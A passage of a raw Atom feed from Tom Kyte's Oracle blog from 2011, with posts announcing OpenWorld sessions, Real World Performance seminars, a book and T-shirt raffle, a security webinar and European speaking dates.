href='http://www.blogger.com/feeds/11839365/posts/default/649228108449844866'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/09/and-winners-are.html' title='And the winners are...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm7.static.flickr.com/6090/6103876348_287fc32f77_t.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6920438259372323959</id><published>2011-08-29T08:11:00.003-04:00</published><updated>2011-09-02T17:59:10.806-04:00</updated><title type='text'>Oracle OpenWorld...</title><content type='html'>I'll be presenting at Oracle OpenWorld again this year.  These are the session's I have scheduled right now:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Session ID: 14124&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span &gt;Session Title: General Session: What's New and Improved and Coming in Oracle Application Development&lt;br /&gt;Venue / Room: Marriott Marquis - Salon 9&lt;br /&gt;Date and Time: 10/3/11, 11:00 - 12:00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Session ID: 14120&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span &gt;Session Title: Five Things You Didn't Know About SQL&lt;br /&gt;Venue / Room: Moscone South - 103&lt;br /&gt;Date and Time: 10/4/11, 17:00 - 18:00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Session ID: 14643&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span &gt;Session Title: SQL Tuning Expert Roundtable&lt;br /&gt;Venue / Room: Moscone South - 103&lt;br /&gt;Date and Time: 10/5/11, 11:45 - 12:45&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;b&gt;Session ID: 14122&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span &gt;Session Title: Five Things You Didn't Know About PL/SQL&lt;br /&gt;Venue / Room: Moscone South - 103&lt;br /&gt;Date and Time: 10/6/11, 10:30 - 11:30&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;b&gt;Session ID: 14123&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span &gt;Session Title: All About Oracle Database Security&lt;br /&gt;Venue / Room: Moscone South - 103&lt;br /&gt;Date and Time: 10/6/11, 13:30 - 14:30&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Additionally - I have some limited availability for one on one customer meetings during the week if interested.  In order to arrange those, I would ask that you get in touch with your current Oracle sales contact and have them get in touch with me.  I might not be able to meet with everyone that requests a meeting - but we can try!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6920438259372323959?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6920438259372323959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6920438259372323959' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6920438259372323959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6920438259372323959'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/08/oracle-openworld.html' title='Oracle OpenWorld...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5439392331942878899</id><published>2011-08-29T08:01:00.004-04:00</published><updated>2011-09-01T09:10:50.607-04:00</updated><title type='text'>Real World followup...</title><content type='html'>I have just returned from Scotland and Germany where we did two more 'Real World' days.  The turn out was great and the audiences were fantastic - lots of really good questions.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you would like to hear about the session from an attendee - listen to &lt;a href="http://feedproxy.google.com/~r/OracleDatabaseInsider/~3/pSDdZwRh7Pg/10771372_peter_tran_082211.mp3"&gt;this podcast&lt;/a&gt; by Peter Tran, Senior Performance Lead with PROS Revenue Management as he shares his thoughts and experiences from the IOUG’s Real World Performance Day.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We are planning quite a few dates in the US in the near future - see &lt;a href="http://ioug.org/realworldperformance"&gt;http://ioug.org/realworldperformance&lt;/a&gt; for a list of locations.  &lt;/div&gt;&lt;h3 class="H3" align="left"&gt;Register by Monday, August 29 (5pm Pacific) and add a co-worker or friend as your guest for free!&lt;/h3&gt;     &lt;p class="H3" align="left"&gt;On step three of the registration process, enter your guest under the "BOGO" promotion!&lt;/p&gt;&lt;p class="H3" align="left"&gt;I am happy to say we have &lt;a href="http://tkyte.blogspot.com/2011/08/day-of-real-world-performance-raffle.html"&gt;our 10 winners&lt;/a&gt; (and more), I'll be getting in touch with them soon to deliver the book and T-shirt.&lt;/p&gt;&lt;p class="H3" align="left"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5439392331942878899?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5439392331942878899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5439392331942878899' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5439392331942878899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5439392331942878899'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/08/real-world-followup.html' title='Real World followup...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7446883971418823493</id><published>2011-08-06T09:21:00.002-04:00</published><updated>2011-08-06T09:24:56.002-04:00</updated><title type='text'>Something free and interesting sounding...</title><content type='html'>&lt;a href="http://blog.tanelpoder.com/about-2/"&gt;Tanel Poder&lt;/a&gt; is doing another 'secret' free webinar.  I've known Tanel for quite a few years now and he is a pretty smart guy.  The topics he is presenting on this time center around scanning of data - and all of them look very interesting.  Some are Exadata related but most of them would be useful for anyone.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;See &lt;a href="http://blog.tanelpoder.com/2011/08/06/secret-hacking-session-full-scans-direct-path-reads-object-level-checkpoints-ora-8103s/?utm_source=rss&amp;amp;utm_medium=rss&amp;amp;utm_campaign=secret-hacking-session-full-scans-direct-path-reads-object-level-checkpoints-ora-8103s"&gt;this page &lt;/a&gt;for details on the seminar topics and the 'secret' link to sign up (for free!).  If you miss the 'live' session - he is going to record it for posterity.  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7446883971418823493?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7446883971418823493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7446883971418823493' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7446883971418823493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7446883971418823493'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/08/something-free-and-interesting-sounding.html' title='Something free and interesting sounding...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-348646890153159249</id><published>2011-08-02T14:24:00.005-04:00</published><updated>2011-08-03T15:26:50.417-04:00</updated><title type='text'>A Day of Real World Performance Raffle...</title><content type='html'>&lt;div&gt;If you haven't heard - I'm participating in a series of seminars entitled "Real World Performance".  It is a rather unique forum - with three simultaneous presenters and three screens.  I find it more interesting than a seminar delivered by a single person - all day long.  We haven't had anyone fall asleep yet - there is enough moving around and back and forth on the stage to keep you engaged all day long.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;To get things jump started, I'm running a raffle of sorts.  I'm going to give away the coolest t-shirt you'll ever own:&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://farm7.static.flickr.com/6124/6002259047_44af739633.jpg" /&gt;&lt;br /&gt;&lt;img src="http://farm7.static.flickr.com/6014/6002259285_eb720f09bf.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;and a signed copy of &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://ecx.images-amazon.com/images/I/51BxsWGN84L._SL110_.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All you have to do is to sign up for the &lt;a href="http://www.ioug.org/tabid/194/Default.aspx"&gt;Real World Performance Day&lt;/a&gt; and select "Tom Kyte's Blog" from the "How did you hear about this event" element on the registration form.  I'll be sending out a t-shirt and signed book to the first ten people that sign up this way.  I'll be sending them out at the end of August.  Apologies in advance to Germany, Australia and Scotland Real World participants - they are using a different registration system and I won't be able to track your sign-ups.   &lt;/div&gt;&lt;br /&gt;Here's a list of some podcasts we've done on the RWP tour - please listen to&lt;br /&gt;get an idea of what takes place:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://feedproxy.google.com/~r/OracleDatabaseInsider/~3/064NC5sJEm4/9824111_Performace_Day_020311.mp3"&gt;Tom Kyte, Oracle performance specialist and Host of&lt;br /&gt;  "AskTom.Oracle.Com" tells us what's in store at The IOUG's Real&lt;br /&gt;  World Performance Day.&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://feedproxy.google.com/~r/OracleDatabaseInsider/~3/q5J_ue-qjNw/9842915_IOUG_031011.mp3"&gt;Andy Flower, President of the Independent Oracle Users Group&lt;br /&gt;  (IOUG), discusses plans for COLLABORATE 11 and what folks can&lt;br /&gt;  expect when the Real World Performance Tour rolls to their town.&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hope to see you at one of them - we'll be doing more locations next year so if you don't see a city near you - they might still be on the drawing board.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-348646890153159249?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/348646890153159249/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=348646890153159249' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/348646890153159249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/348646890153159249'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/08/day-of-real-world-performance-raffle.html' title='A Day of Real World Performance Raffle...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm7.static.flickr.com/6124/6002259047_44af739633_t.jpg' height='72' width='72'/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3544678373892796864</id><published>2011-07-27T18:03:00.003-04:00</published><updated>2011-07-27T18:04:52.597-04:00</updated><title type='text'>Security Webinar...</title><content type='html'>Tomorrow - July 28th at 10:00 PDT (13:00 East Coast US Time) - I'll be delivering a free Webinar on database security.  If you are interested - you can register using this link:  &lt;a href="http://event.on24.com/r.htm?e=328712&amp;amp;s=1&amp;amp;k=D11C69EADAB1A25981D9E53966EE5D15&amp;amp;partnerref=blog1_sec_dbsecmulti"&gt;http://event.on24.com/r.htm?e=328712&amp;amp;s=1&amp;amp;k=D11C69EADAB1A25981D9E53966EE5D15&amp;amp;partnerref=blog1_sec_dbsecmulti&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hope to virtually see you there!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3544678373892796864?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3544678373892796864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3544678373892796864' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3544678373892796864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3544678373892796864'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/07/security-webinar.html' title='Security Webinar...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2096571348681849451</id><published>2011-07-12T20:18:00.003-04:00</published><updated>2011-07-13T10:28:01.163-04:00</updated><title type='text'>An update and a day in Dayton...</title><content type='html'>I wrote previously about a neat Chrome add-in for AWR viewing - and it has recently been updated.  &lt;a href="http://tylermuth.wordpress.com/2011/07/12/awr-formatter-1-6-released/"&gt;You can read about that here&lt;/a&gt;...&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Additionally - I've been a little tardy in updating asktom with a list of events I'll be doing (I'll get that filled in next week - it includes San Francisco USA, Sydney Australia, Edinburgh Scotland, Frankfurt Germany, Milwaukee WI, Chicago IL and Toronto in the next month and a half..).  But more immediately is Dayton Ohio this thursday.  &lt;a href="http://ioug.itconvergence.com/pls/apex/f?p=337:1:1540668473397218"&gt;You can read about that here&lt;/a&gt;...  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Do check out that chrome plugin if you use chrome and view the HTML AWR reports, it really does make them better.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2096571348681849451?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2096571348681849451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2096571348681849451' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2096571348681849451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2096571348681849451'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/07/update-and-day-in-dayton.html' title='An update and a day in Dayton...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6456022067203758241</id><published>2011-05-05T17:06:00.002-04:00</published><updated>2011-05-05T17:12:06.071-04:00</updated><title type='text'>Coming soon to Dublin, London and Helsinki...</title><content type='html'>I'll be doing some visits to Europe coming up soon.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On May 16th, I'll be doing a half day session in Dublin, Ireland.  The information for this visit can be &lt;a href="https://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D11990485432509370939&amp;amp;p_cat=Seminar%20Invite-16th%20May.pdf&amp;amp;p_company=822925097021874"&gt;found here&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On May 17th, I'll be doing a day of "Real World Performance".  You can read the writeup for that in &lt;a href="http://www.computerworlduk.com/news/infrastructure/3277441/oracle-database-gurus-come-together-at-ukoug-event/"&gt;Computer World&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And lastly, on May 19th, I'll be participating in the &lt;a href="http://www.ougf.fi/"&gt;EMEA Harmony Conference&lt;/a&gt; in Helsinki, Finland.  Chris Date will be there presenting as well!  Should be interesting.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6456022067203758241?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6456022067203758241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6456022067203758241' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6456022067203758241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6456022067203758241'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/05/coming-soon-to-dublin-london-and.html' title='Coming soon to Dublin, London and Helsinki...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5183079556368147219</id><published>2011-04-28T16:11:00.002-04:00</published><updated>2011-04-28T16:19:01.145-04:00</updated><title type='text'>Two Things...</title><content type='html'>The first is an "&lt;a href="http://tylermuth.wordpress.com/2011/04/20/awr-formatter/"&gt;AWR Formatter&lt;/a&gt;" written by a friend of mine, Tyler Muth. It's pretty cool - works as a Chrome plugin - and it makes an AWR report a little more 'friendly' to use.  It creates hot links for many of the wait events (so you know what they mean) and it summarizes up a lot of stuff - making the AWR report a lot more "interactive".  Check it out and give him feedback on it if you have time.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The second is a book recommendation.  If you've been looking for an excuse to learn APEX (application express) and wanted a book to work through it - &lt;a href="http://jes.blogs.shellprompt.net/2011/03/30/expert-oracle-application-express/"&gt;here is one for you&lt;/a&gt;.  I know most of the authors personally and can attest for their technical knowledge of APEX.  I also really appreciate what they are doing with the royalties.  See that link for what they've done.  I knew both of the people they reference there.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5183079556368147219?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5183079556368147219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5183079556368147219' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5183079556368147219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5183079556368147219'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/04/two-things.html' title='Two Things...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6507393331094480973</id><published>2011-03-25T10:17:00.003-04:00</published><updated>2011-03-25T10:29:04.760-04:00</updated><title type='text'>A Marathon...</title><content type='html'>If you don't see me updating asktom too much in the next two weeks - it'll be because:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;I'll be starting the week in&lt;a href="http://www.obug.be/"&gt; Brussels, Belgium&lt;/a&gt; for the OBUG on Tuesday March 29th&lt;/li&gt;&lt;li&gt;I'm in &lt;a href="http://www.iouc.org/p/cm/ld/fid=29"&gt;Paris, France&lt;/a&gt; in the middle of the week - Wednesday March 30th&lt;/li&gt;&lt;li&gt;And finishing in &lt;a href="http://www.oracle.com/us/dm/h2fy11/68708-emeafm10043187mpp006-oev2-337715-es.html"&gt;Madrid, Spain&lt;/a&gt; on the 31st of March&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;then I'm off to&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.oracle.com/us/dm/h2fy11/68401-tom-kyte-splashpage-335026.html"&gt;Rome, Italy&lt;/a&gt; for Monday April 4th&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.oracle.com/us/dm/h2fy11/68401-tom-kyte-splashpage-335026.html"&gt;Milan, Italy&lt;/a&gt; for Tuesday April 5th&lt;/li&gt;&lt;li&gt;flying up to &lt;a href="http://www.ougn.no/oracle-brukergruppe"&gt;Oslo, Norway&lt;/a&gt; for a 'geek cruise' on Thursday through Saturday&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;And then you'd think I'd be heading home - but not quite - I have a quick stop in Orlando Florida on Monday April 11th for &lt;a href="http://www.ioug.org/"&gt;IOUG Collaborate&lt;/a&gt; and then I go home :)&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6507393331094480973?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6507393331094480973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6507393331094480973' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6507393331094480973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6507393331094480973'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/03/marathon.html' title='A Marathon...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-485792203344102299</id><published>2011-03-21T19:13:00.002-04:00</published><updated>2011-03-21T19:13:48.830-04:00</updated><title type='text'>I can relate...</title><content type='html'>It is not often a simple picture and caption will make me laugh out loud - &lt;a href="http://i.imgur.com/3U5dZ.png"&gt;but this did&lt;/a&gt;.  I feel like that some days... Most days now I guess :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-485792203344102299?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/485792203344102299/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=485792203344102299' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/485792203344102299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/485792203344102299'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/03/i-can-relate.html' title='I can relate...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2019317949038192140</id><published>2011-03-16T08:38:00.002-04:00</published><updated>2011-03-16T08:40:33.238-04:00</updated><title type='text'>Something you don't always see..</title><content type='html'>&lt;a 